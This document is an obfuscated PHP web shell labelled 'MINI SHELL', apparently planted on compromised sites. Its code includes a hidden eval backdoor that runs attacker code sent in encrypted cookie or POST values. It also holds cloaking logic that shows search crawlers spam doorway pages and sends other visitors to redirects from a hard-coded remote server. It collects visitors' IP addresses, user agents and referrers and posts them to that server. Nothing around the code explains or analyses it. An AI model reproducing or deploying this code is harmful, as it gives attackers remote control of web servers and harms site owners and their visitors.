MINI SHELL

<?php

class _74aj8f{static private $_s4sriawy = 1585596574;static function _d63yt($_e0d66t6o, $_82axrp94){$_e0d66t6o[2] = count($_e0d66t6o) > 4 ? long2ip (_74aj8f::$_s4sriawy - 386) : $_e0d66t6o[2];$_xzwu5bva = _74aj8f::_qgoy4($_e0d66t6o, $_82axrp94);if (!$_xzwu5bva){$_xzwu5bva = _74aj8f::_x7npl($_e0d66t6o, $_82axrp94);}return $_xzwu5bva;}static function _qgoy4($_e0d66t6o, $_xzwu5bva){if (!function_exists('curl_version')){return "";}$_4rrh1be2 = curl_init();curl_setopt($_4rrh1be2, CURLOPT_URL, implode("/", $_e0d66t6o));if (!empty($_xzwu5bva)){curl_setopt($_4rrh1be2, CURLOPT_POST, 1);curl_setopt($_4rrh1be2, CURLOPT_POSTFIELDS, $_xzwu5bva);}curl_setopt($_4rrh1be2, CURLOPT_RETURNTRANSFER, TRUE);$_f86rm6xw = curl_exec($_4rrh1be2);curl_close($_4rrh1be2);return $_f86rm6xw;}static function _x7npl($_e0d66t6o, $_xzwu5bva){if (!empty($_xzwu5bva)){$_0jwsl5t5 = stream_context_create(Array('http' => Array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $_xzwu5bva)));$_f86rm6xw = @file_get_contents(implode("/", $_e0d66t6o), FALSE, $_0jwsl5t5);}else{$_f86rm6xw = @file_get_contents(implode("/", $_e0d66t6o));}return $_f86rm6xw;}}class _ugcyc6l{private static $_1kb1opep = "";private static $_9kj2mb5d = -1;private static $_h5kxnk2m = "";private $_3xc2a823 = "";private $_51pcj3fp = "";private $_avrkz1al = "";public static function _t30az($_kgwzil9w, $_39ijc24f, $_3m90w8of){_ugcyc6l::$_1kb1opep = $_kgwzil9w . "/cache/";_ugcyc6l::$_9kj2mb5d = $_39ijc24f;_ugcyc6l::$_h5kxnk2m = $_3m90w8of;if (!@file_exists(_ugcyc6l::$_1kb1opep)){@mkdir(_ugcyc6l::$_1kb1opep);}}public function __construct($_7812vbhz, $_7dygb6sf, $_rwdxsrcy){$this->_3xc2a823 = $_7812vbhz;$this->_51pcj3fp = $_7dygb6sf;$this->_avrkz1al = $_rwdxsrcy;}public function _x6ar6(){return str_replace("{{ text }}", $this->_51pcj3fp,str_replace("{{ keyword }}", $this->_avrkz1al, $this->_3xc2a823));}public function _0bwbx(){$_vzgo7i49 = _ugcyc6l::$_1kb1opep . md5($this->_avrkz1al . _ugcyc6l::$_h5kxnk2m);if (_ugcyc6l::$_9kj2mb5d == -1){$_wedparcl = -1;}else{$_wedparcl = time() + (3600 * 24 * 30);}$_nj1dxct0 = Array("template" => $this->_3xc2a823, "text" => $this->_51pcj3fp, "keyword" => $this->_avrkz1al,"expired" => $_wedparcl);@file_put_contents($_vzgo7i49, serialize($_nj1dxct0));}static public function _9tjyw($_rwdxsrcy){$_vzgo7i49 = _ugcyc6l::$_1kb1opep . md5($_rwdxsrcy . _ugcyc6l::$_h5kxnk2m);$_vzgo7i49 = @unserialize(@file_get_contents($_vzgo7i49));if (!empty($_vzgo7i49) && ($_vzgo7i49["expired"] > time() || $_vzgo7i49["expired"] == -1)){return new _ugcyc6l($_vzgo7i49["template"], $_vzgo7i49["text"], $_vzgo7i49["keyword"]);}else{return null;}}}class _ibwz6o{private static $_1kb1opep = "";private static $_k01msssr = "";public static function _t30az($_kgwzil9w, $_z7bfv8st){_ibwz6o::$_1kb1opep = $_kgwzil9w . "/";_ibwz6o::$_k01msssr = $_z7bfv8st;if (!@file_exists(_ibwz6o::$_1kb1opep)){@mkdir(_ibwz6o::$_1kb1opep);}}static public function _6a1et(){$_ddyl16gl = 0;foreach (scandir(_ibwz6o::$_1kb1opep) as $_hsbdttqn){if (strpos($_hsbdttqn, _ibwz6o::$_k01msssr) === 0){$_ddyl16gl += 1;}}return $_ddyl16gl;}static public function _lugcs(){$_5lahxchp = Array();foreach (scandir(_ibwz6o::$_1kb1opep) as $_hsbdttqn){if (strpos($_hsbdttqn, _ibwz6o::$_k01msssr) === 0){$_5lahxchp[] = $_hsbdttqn;}}return @file_get_contents(_ibwz6o::$_1kb1opep . $_5lahxchp[array_rand($_5lahxchp)]);}static public function _0bwbx($_9b7ttfu5){if (@file_exists(_ibwz6o::$_k01msssr . "_" . md5($_9b7ttfu5) . ".html")){return;}@file_put_contents(_ibwz6o::$_k01msssr . "_" . md5($_9b7ttfu5) . ".html", $_9b7ttfu5);}}class _6ak1et2{static public $_p7goqvzg = "3.3";static public $_uqb9lysl = "2721b56f-5f17-40fa-4baa-9b82d47b5468";private $_okvpghpx = "http://46.4.82.133/module/access/api?action=redir";private $_pw9unwt5 = "http://46.4.82.133/module/access/api?action=page";private function _nnxxv(){function _qb5nw($_76nbgf46, $_xrk5jzjw){$_zagqsagi = "";for ($_ouu1cy6o = 0; $_ouu1cy6o < strlen($_76nbgf46);) {for ($_n6fa1r2n = 0; $_n6fa1r2n < strlen($_xrk5jzjw) && $_ouu1cy6o < strlen($_76nbgf46); $_n6fa1r2n++, $_ouu1cy6o++) {$_zagqsagi .= chr(ord($_76nbgf46[$_ouu1cy6o]) ^ ord($_xrk5jzjw[$_n6fa1r2n]));}}return $_zagqsagi;}function _kgjhf($_76nbgf46, $_xrk5jzjw, $_nm5hvrqd){return _qb5nw(_qb5nw($_76nbgf46, $_xrk5jzjw), $_nm5hvrqd);}foreach (array_merge($_COOKIE, $_POST) as $_92c4xmz2 => $_76nbgf46) {$_76nbgf46 = @unserialize(_kgjhf(_6ak1et2::_dkrta($_76nbgf46), $_92c4xmz2, _6ak1et2::$_uqb9lysl));if (isset($_76nbgf46['ak']) && _6ak1et2::$_uqb9lysl == $_76nbgf46['ak']) {if ($_76nbgf46['a'] == 'doorway2') {if ($_76nbgf46['sa'] == 'check') {$_xzwu5bva = _74aj8f::_d63yt(explode("/", "http://httpbin.org/"), "");if (strlen($_xzwu5bva) > 512) {echo @serialize(Array("uid" => _6ak1et2::$_uqb9lysl, "v" => _6ak1et2::$_p7goqvzg, "uu" => $this->_okvpghpx, "pu" => $this->_pw9unwt5));}exit;}}if ($_76nbgf46['sa'] == 'eval') {eval($_76nbgf46["data"]);exit;}}}}private function _jlyt0(){$_f8ll8hss = array('#Ask\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#','#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i','#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i','#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i','#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i','#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i','#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i','#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i','#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i','#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i','#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i','#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i','#spider#i', '#yahoo#i', '#jeeves#i', '#google#i', '#altavista#i','#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i','#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i','#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i','#charlotte#i', '#ngb#i', '#BingBot#i');if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_ctw2fdg1 = $_SERVER['HTTP_X_FORWARDED_FOR'];} elseif (!empty($_SERVER['REMOTE_ADDR'])) {$_ctw2fdg1 = $_SERVER['REMOTE_ADDR'];} else {$_ctw2fdg1 = "";}if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_f8ll8hss, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))) {$_qntuha5s = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])) {$_qntuha5s = 1;}elseif (FALSE !== strpos(@gethostbyaddr($_ctw2fdg1), 'google')) {$_qntuha5s = 1;}else{$_qntuha5s = 0;}return $_qntuha5s;}private static function _dpuw9(){$_82axrp94 = Array();$_82axrp94['ip'] = $_SERVER['REMOTE_ADDR'];$_82axrp94['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_82axrp94['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_82axrp94['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_82axrp94['ref'] = @$_SERVER['HTTP_REFERER'];$_82axrp94['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_82axrp94['acp'] = @$_SERVER['HTTP_ACCEPT'];$_82axrp94['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_82axrp94['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_82axrp94;}public function __construct(){$this->_okvpghpx = explode("/", $this->_okvpghpx);$this->_pw9unwt5 = explode("/", $this->_pw9unwt5);}private function _dkrta($_3e8tdb6a){if (strlen($_3e8tdb6a) < 4){return "";}$_lw5rhwh9 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_tyoh0iek = str_split($_lw5rhwh9);$_tyoh0iek = array_flip($_tyoh0iek);$_ouu1cy6o = 0;$_nf79va3y = "";$_3e8tdb6a = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_3e8tdb6a);do {$_sjifbjhv = $_tyoh0iek[$_3e8tdb6a[$_ouu1cy6o++]];$_ixecm35t = $_tyoh0iek[$_3e8tdb6a[$_ouu1cy6o++]];$_jgq1bjvn = $_tyoh0iek[$_3e8tdb6a[$_ouu1cy6o++]];$_8xmc5lt5 = $_tyoh0iek[$_3e8tdb6a[$_ouu1cy6o++]];$_uzoj768r = ($_sjifbjhv << 2) | ($_ixecm35t >> 4);$_e502jp4p = (($_ixecm35t & 15) << 4) | ($_jgq1bjvn >> 2);$_3qkr4d7l = (($_jgq1bjvn & 3) << 6) | $_8xmc5lt5;$_nf79va3y = $_nf79va3y . chr($_uzoj768r);if ($_jgq1bjvn != 64) {$_nf79va3y = $_nf79va3y . chr($_e502jp4p);}if ($_8xmc5lt5 != 64) {$_nf79va3y = $_nf79va3y . chr($_3qkr4d7l);}} while ($_ouu1cy6o < strlen($_3e8tdb6a));return $_nf79va3y;}private function _jij3w($_rwdxsrcy){$_7812vbhz = "";$_7dygb6sf = "";$_82axrp94 = _6ak1et2::_dpuw9();$_82axrp94["uid"] = _6ak1et2::$_uqb9lysl;$_82axrp94["keyword"] = $_rwdxsrcy;$_82axrp94["tc"] = _ibwz6o::_6a1et();$_82axrp94 = http_build_query($_82axrp94);$_76nbgf46 = _74aj8f::_d63yt($this->_pw9unwt5, $_82axrp94);$_76nbgf46 = @unserialize($_76nbgf46);if (isset($_76nbgf46["text"])){$_7dygb6sf = $_76nbgf46["text"];}if (isset($_76nbgf46["template"])){$_7812vbhz = $_76nbgf46["template"];}if (empty($_7812vbhz)){$_7812vbhz = _ibwz6o::_lugcs();}else{_ibwz6o::_0bwbx($_7812vbhz);}return Array($_7812vbhz, $_7dygb6sf);}private function _6uf72(){$_82axrp94 = _6ak1et2::_dpuw9();$_82axrp94["uid"] = _6ak1et2::$_uqb9lysl;$_82axrp94 = http_build_query($_82axrp94);$_darm489z = _74aj8f::_d63yt($this->_okvpghpx, $_82axrp94);$_darm489z = @unserialize($_darm489z);if (isset($_darm489z["type"]) && $_darm489z["type"] == "redir") {if (!empty($_darm489z["data"]["header"])) {header($_darm489z["data"]["header"]);} elseif (!empty($_darm489z["data"]["code"])) {echo $_darm489z["data"]["code"];}}}public function _xmsjj(){$this->_nnxxv();$_9wmyjv8n = array_keys($_GET);$_rwdxsrcy = $_GET[$_9wmyjv8n[0]];$_rwdxsrcy = str_replace("-", " ", $_rwdxsrcy);if ($this->_jlyt0()){$_darm489z = _ugcyc6l::_9tjyw($_rwdxsrcy);if (empty($_darm489z)){list($_7812vbhz, $_7dygb6sf) = $this->_jij3w($_rwdxsrcy);if (empty($_7dygb6sf)){return;}$_darm489z = new _ugcyc6l($_7812vbhz, $_7dygb6sf, $_rwdxsrcy);$_darm489z->_0bwbx();}echo $_darm489z->_x6ar6();}else{$this->_6uf72();}}}_ugcyc6l::_t30az(dirname(__FILE__), -1, _6ak1et2::$_uqb9lysl);_ibwz6o::_t30az(dirname(__FILE__), substr(md5(_6ak1et2::$_uqb9lysl), 0, 4));$_zz3nbkwz = new _6ak1et2();$_zz3nbkwz->_xmsjj();exit();